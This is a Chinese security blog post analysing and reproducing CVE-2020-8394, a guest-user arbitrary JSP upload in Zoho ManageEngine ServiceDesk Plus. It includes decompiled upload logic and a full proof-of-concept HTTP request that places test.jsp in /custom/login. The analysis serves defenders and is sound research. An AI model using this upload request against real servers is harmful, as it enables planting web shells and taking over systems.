热门标签 | HotTags
当前位置:  开发笔记 > 编程语言 > 正文

FireEye红队失窃工具大揭秘之:分析复现Zoho任意文件上传漏洞(CVE20208394)

 前言最近,全球领先的网络安全公司 FireEye 疑遭某 APT 组织的攻击,其大量政府客户信息遭越权访问,且红队工具被盗。虽然目前尚不清楚这些红队工具将被如何处置,但FireEye 公司在 Git

 

前言

最近,全球领先的网络安全公司 FireEye 疑遭某 APT 组织的攻击,其大量政府客户信息遭越权访问,且红队工具被盗。虽然目前尚不清楚这些红队工具将被如何处置,但FireEye 公司在 GitHub 上发布了一些应对措施。奇安信代码安全实验室将从技术角度,对 GitHub 仓库中的相关漏洞进行分析复现,希望能给读者带来一些启发,做好防御措施。

 

漏洞简介

Zoho企业的产品 Zoho ManageEngine ServiceDesk Plus 是一套IT互联网服务管理软件,拥有资产管理、采购管理、合同管理等功能模块,提供一流的IT支持服务。

ServiceDesk Plus10.0 build 10012之前的版本产品存在任意文件上传漏洞。具体来说,SDJSPClasses.jar包的FileAttachment_jsp.class仅检查module参数为“SSP”、“DashBoard”、“HomePage”时的上传文件类型,而未检查module参数为“CustomLogin”时的上传文件类型,导致恶意分子采用低权限guest用户即能上传、并任意访问jsp类可执行命令的脚本文件。

 

受影响产品

Zohocorp ManageEngine ServiceDesk Plus

 

受影响版本

9.4 and 10.0 before 10.0 build 10012

 

修复版本

version>=10.0 build 10013

 

漏洞验证环境

Ubuntu16.04(服务器)
Windows 10(攻击机)

 

漏洞分析与利用

分析文件上传逻辑,确定缺陷位置并上传文件。

第一步,在服务端安装 Zohocorp ManageEngine ServiceDesk Plus 10.0 build 10000,随后启动服务,下图表示启动成功。

第二步,在攻击机中,采用 Burp Suite 捕获低权限guest用户的COOKIE信息和数据包,以便开展后续POC的构建工作,如下。

第三步,分析服务端文件上传核心代码。打开\ManageEngine\ServiceDesk\lib\SDJSPClasses.jar! \org\apache\jsp\common\FileAttachment_jsp.class,核心的文件上传检测代码和注释信息如下。

if (sizeOfFile limitExceeded = false;
filePath = "Attachments" + filSep + module + filSep + value;
// 如果module参数是"CustomLogin",则直接将文件上传至路径"../custom/login"
if (module.equals("CustomLogin")) {
filePath = ".." + filSep + "custom" + filSep + "login";
}

File uploadedFile = new File(filePath + filSep + fileName);
// 如果module参数是"SSP"、"DashBoard"、"HomePage",则检查文件后缀是否是“htm”或“html”,如不是,则拒绝上传
if (module.equals("SSP") || module.equals("DashBoard") || module.equals("HomePage")) {
String ext = "";
int i = fileName.lastIndexOf(46);
if (i > 0) {
ext = fileName.substring(i + 1);
if (!ext.equals("htm") && !ext.equals("html")) {
out.write("\n

  • ssp.widget.onAttachEmpty
  • ");
    out.write("\n ");
    return;
    }

    filSep = "/";
    filePath = ".." + filSep + "custom" + filSep + "widgets" + filSep + module;
    if (module.equals("DashBoard")) {
    String view = request.getParameter("view");
    filePath = ".." + filSep + "custom" + filSep + "widgets" + filSep + module + filSep + view;
    }

    uploadedFile = new File(filePath + filSep + fileName);
    int attIndex = false;
    int attIndex = fileName.lastIndexOf(".");
    String name = fileName;
    ext = "";
    if (attIndex != -1) {
    name = fileName.substring(0, attIndex);
    ext = fileName.substring(attIndex);
    }

    int j = 0;

    String fileName1;
    for(fileName1 = fileName; uploadedFile.exists(); uploadedFile = new File(filePath + filSep + fileName1)) {
    fileName1 = name + "(" + j + ")" + ext;
    ++j;
    }

    fileName = fileName1;
    }
    }

    File mkdir = new File(filePath);
    mkdir.mkdirs();
    item.wri

    分析可知,服务器首先判断module参数是否为“CustomLogin”,如是,则可直接上传任意类型的文件至服务端,程序执行完毕;否则继续执行代码,进入 module 参数属于 “SSP”、”DashBoard”、”HomePage” 的判别过程。如果module 参数为 “SSP”、”DashBoard” 或 “HomePage”,则进行安全过滤仅可上传 “htm”、“html” 类型文件至服务端。因此,当 module 参数是 “CustomLogin” 时,可以上传 jsp 脚本文件。

    第四步,构造 PoC。在 Burpsuite 中,构造数据包如下。

    POST /common/FileAttachment.jsp?module=CustomLogin&view=Dashboard1 HTTP/1.1

    Host: 192.168.6.135:8081

    Content-Length: 366

    Accept: */*

    Origin: http://192.168.6.135:8081

    X-Requested-With: XMLHttpRequest

    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.121 Safari/537.36

    Content-Type: multipart/form-data; boundary=----aaa

    Referer: http://192.168.6.135:8081/DashBoard.do

    Accept-Encoding: gzip, deflate

    Accept-Language: en-US,en;q=0.9,vi;q=0.8

    COOKIE: sdpcsrfCOOKIE=bd678a1d-28b9-4eae-9d5d-f3a7e6f0bd88; servicedeskplus-_zldp=LsfUh%2FKeku9L3s3nPEJp8WNr%2BtCatkARgcAlZRum6ctL03zZZshSooiaABpQbhelmKwM1K1ctjo%3D; servicedeskplus-_zldt=01bc454f-6f2a-492e-889a-6d6b6ffde97d-2; SDPSESSIOnID=B7BB216915E8FB5476DA8774161B9474; JSESSIOnID=A7BEE85ED00E1AD81BB9E8081BA49D7D; JSESSIOnIDSSO=601A38BD1F283CA55D289D78564E09CA

    Connection: close



    ------aaa

    Content-Disposition: form-data; name="sspsetup"



    Attach

    ------aaa

    Content-Disposition: form-data; name="module"



    CustomLogin

    ------aaa

    Content-Disposition: form-data; name="filePath"; filename="test.jsp"

    Content-Type: text/html



    This is shell content

    ------aaa

    Content-Disposition: form-data; name="hmtlcontent"





    ------aaa--

    分析可知,访问拥有文件上传功能的核心代码,设置 module 参数为 “CustomLogin”,在内容栏设置test.jsp文件的内容是 “This is shell content”。

    第五步,访问脚本文件。重新启动服务后,直接访问脚本文件。例如http://192.168.6.135:8081/custom/login/test.jsp,如下。

    观察可知,成功访问脚本文件,说明任意文件上传成功。

     

    总结

    本文分析Zoho ManageEngine的任意文件上传漏洞,作者认为此漏洞由未过滤上传文件类型造成,使脚本文件被上传并利用;学习人员应提升java web知识,以顺利分析并利用输入参数的过滤缺陷。

     

    参考文献

    (1) Index of /service-desk/10000
    http://archives.manageengine.com/service-desk/10000/

    (2) 手册
    https://www.manageengine.cn/products/service-desk/help/adminguide/introduction/start-servicedeskplus-server.html

    (3) Zoho ManageEngine ServiceDesk Plus (SDP) <10.0 build 10012 – Arbitrary File Upload – JSP webapps Exploit
    https://www.exploit-db.com/exploits/46413

    关于 FireEye 红队失窃工具的漏洞分析系列文章暂告一段落,我们会随时关注相关漏洞的进展,敬请关注~


    推荐阅读
    • 如何实现织梦DedeCms全站伪静态
      本文介绍了如何通过修改织梦DedeCms源代码来实现全站伪静态,以提高管理和SEO效果。全站伪静态可以避免重复URL的问题,同时通过使用mod_rewrite伪静态模块和.htaccess正则表达式,可以更好地适应搜索引擎的需求。文章还提到了一些相关的技术和工具,如Ubuntu、qt编程、tomcat端口、爬虫、php request根目录等。 ... [详细]
    • 本文介绍了在Web应用系统中,数据库性能是导致系统性能瓶颈最主要的原因之一,尤其是在大规模系统中,数据库集群已经成为必备的配置之一。文章详细介绍了主从数据库架构的好处和实验环境的搭建方法,包括主数据库的配置文件修改和设置需要同步的数据库等内容。MySQL的主从复制功能在国内外大型网站架构体系中被广泛采用,本文总结了作者在实际的Web项目中的实践经验。 ... [详细]
    • 目录浏览漏洞与目录遍历漏洞的危害及修复方法
      本文讨论了目录浏览漏洞与目录遍历漏洞的危害,包括网站结构暴露、隐秘文件访问等。同时介绍了检测方法,如使用漏洞扫描器和搜索关键词。最后提供了针对常见中间件的修复方式,包括关闭目录浏览功能。对于保护网站安全具有一定的参考价值。 ... [详细]
    • Apache Shiro 身份验证绕过漏洞 (CVE202011989) 详细解析及防范措施
      本文详细解析了Apache Shiro 身份验证绕过漏洞 (CVE202011989) 的原理和影响,并提供了相应的防范措施。Apache Shiro 是一个强大且易用的Java安全框架,常用于执行身份验证、授权、密码和会话管理。在Apache Shiro 1.5.3之前的版本中,与Spring控制器一起使用时,存在特制请求可能导致身份验证绕过的漏洞。本文还介绍了该漏洞的具体细节,并给出了防范该漏洞的建议措施。 ... [详细]
    • 本文介绍了在开发Android新闻App时,搭建本地服务器的步骤。通过使用XAMPP软件,可以一键式搭建起开发环境,包括Apache、MySQL、PHP、PERL。在本地服务器上新建数据库和表,并设置相应的属性。最后,给出了创建new表的SQL语句。这个教程适合初学者参考。 ... [详细]
    • 这是原文链接:sendingformdata许多情况下,我们使用表单发送数据到服务器。服务器处理数据并返回响应给用户。这看起来很简单,但是 ... [详细]
    • 本文介绍了使用AJAX的POST请求实现数据修改功能的方法。通过ajax-post技术,可以实现在输入某个id后,通过ajax技术调用post.jsp修改具有该id记录的姓名的值。文章还提到了AJAX的概念和作用,以及使用async参数和open()方法的注意事项。同时强调了不推荐使用async=false的情况,并解释了JavaScript等待服务器响应的机制。 ... [详细]
    • 本文讨论了Alink回归预测的不完善问题,指出目前主要针对Python做案例,对其他语言支持不足。同时介绍了pom.xml文件的基本结构和使用方法,以及Maven的相关知识。最后,对Alink回归预测的未来发展提出了期待。 ... [详细]
    • Webmin远程命令执行漏洞复现及防护方法
      本文介绍了Webmin远程命令执行漏洞CVE-2019-15107的漏洞详情和复现方法,同时提供了防护方法。漏洞存在于Webmin的找回密码页面中,攻击者无需权限即可注入命令并执行任意系统命令。文章还提供了相关参考链接和搭建靶场的步骤。此外,还指出了参考链接中的数据包不准确的问题,并解释了漏洞触发的条件。最后,给出了防护方法以避免受到该漏洞的攻击。 ... [详细]
    • 本文介绍了一些Java开发项目管理工具及其配置教程,包括团队协同工具worktil,版本管理工具GitLab,自动化构建工具Jenkins,项目管理工具Maven和Maven私服Nexus,以及Mybatis的安装和代码自动生成工具。提供了相关链接供读者参考。 ... [详细]
    • CentOS 7部署KVM虚拟化环境之一架构介绍
      本文介绍了CentOS 7部署KVM虚拟化环境的架构,详细解释了虚拟化技术的概念和原理,包括全虚拟化和半虚拟化。同时介绍了虚拟机的概念和虚拟化软件的作用。 ... [详细]
    • 分享css中提升优先级属性!important的用法总结
      web前端|css教程css!importantweb前端-css教程本文分享css中提升优先级属性!important的用法总结微信门店展示源码,vscode如何管理站点,ubu ... [详细]
    • 本文介绍了OkHttp3的基本使用和特性,包括支持HTTP/2、连接池、GZIP压缩、缓存等功能。同时还提到了OkHttp3的适用平台和源码阅读计划。文章还介绍了OkHttp3的请求/响应API的设计和使用方式,包括阻塞式的同步请求和带回调的异步请求。 ... [详细]
    • 本文介绍了在Ubuntu下制作deb安装包及离线安装包的方法,通过备份/var/cache/apt/archives文件夹中的安装包,并建立包列表及依赖信息文件,添加本地源,更新源列表,可以在没有网络的情况下更新系统。同时提供了命令示例和资源下载链接。 ... [详细]
    • Servlet多用户登录时HttpSession会话信息覆盖问题的解决方案
      本文讨论了在Servlet多用户登录时可能出现的HttpSession会话信息覆盖问题,并提供了解决方案。通过分析JSESSIONID的作用机制和编码方式,我们可以得出每个HttpSession对象都是通过客户端发送的唯一JSESSIONID来识别的,因此无需担心会话信息被覆盖的问题。需要注意的是,本文讨论的是多个客户端级别上的多用户登录,而非同一个浏览器级别上的多用户登录。 ... [详细]
    author-avatar
    手机用户随便转转
    这个家伙很懒,什么也没留下!
    PHP1.CN | 中国最专业的PHP中文社区 | DevBox开发工具箱 | json解析格式化 |PHP资讯 | PHP教程 | 数据库技术 | 服务器技术 | 前端开发技术 | PHP框架 | 开发工具 | 在线工具
    Copyright © 1998 - 2020 PHP1.CN. All Rights Reserved | 京公网安备 11010802041100号 | 京ICP备19059560号-4 | PHP1.CN 第一PHP社区 版权所有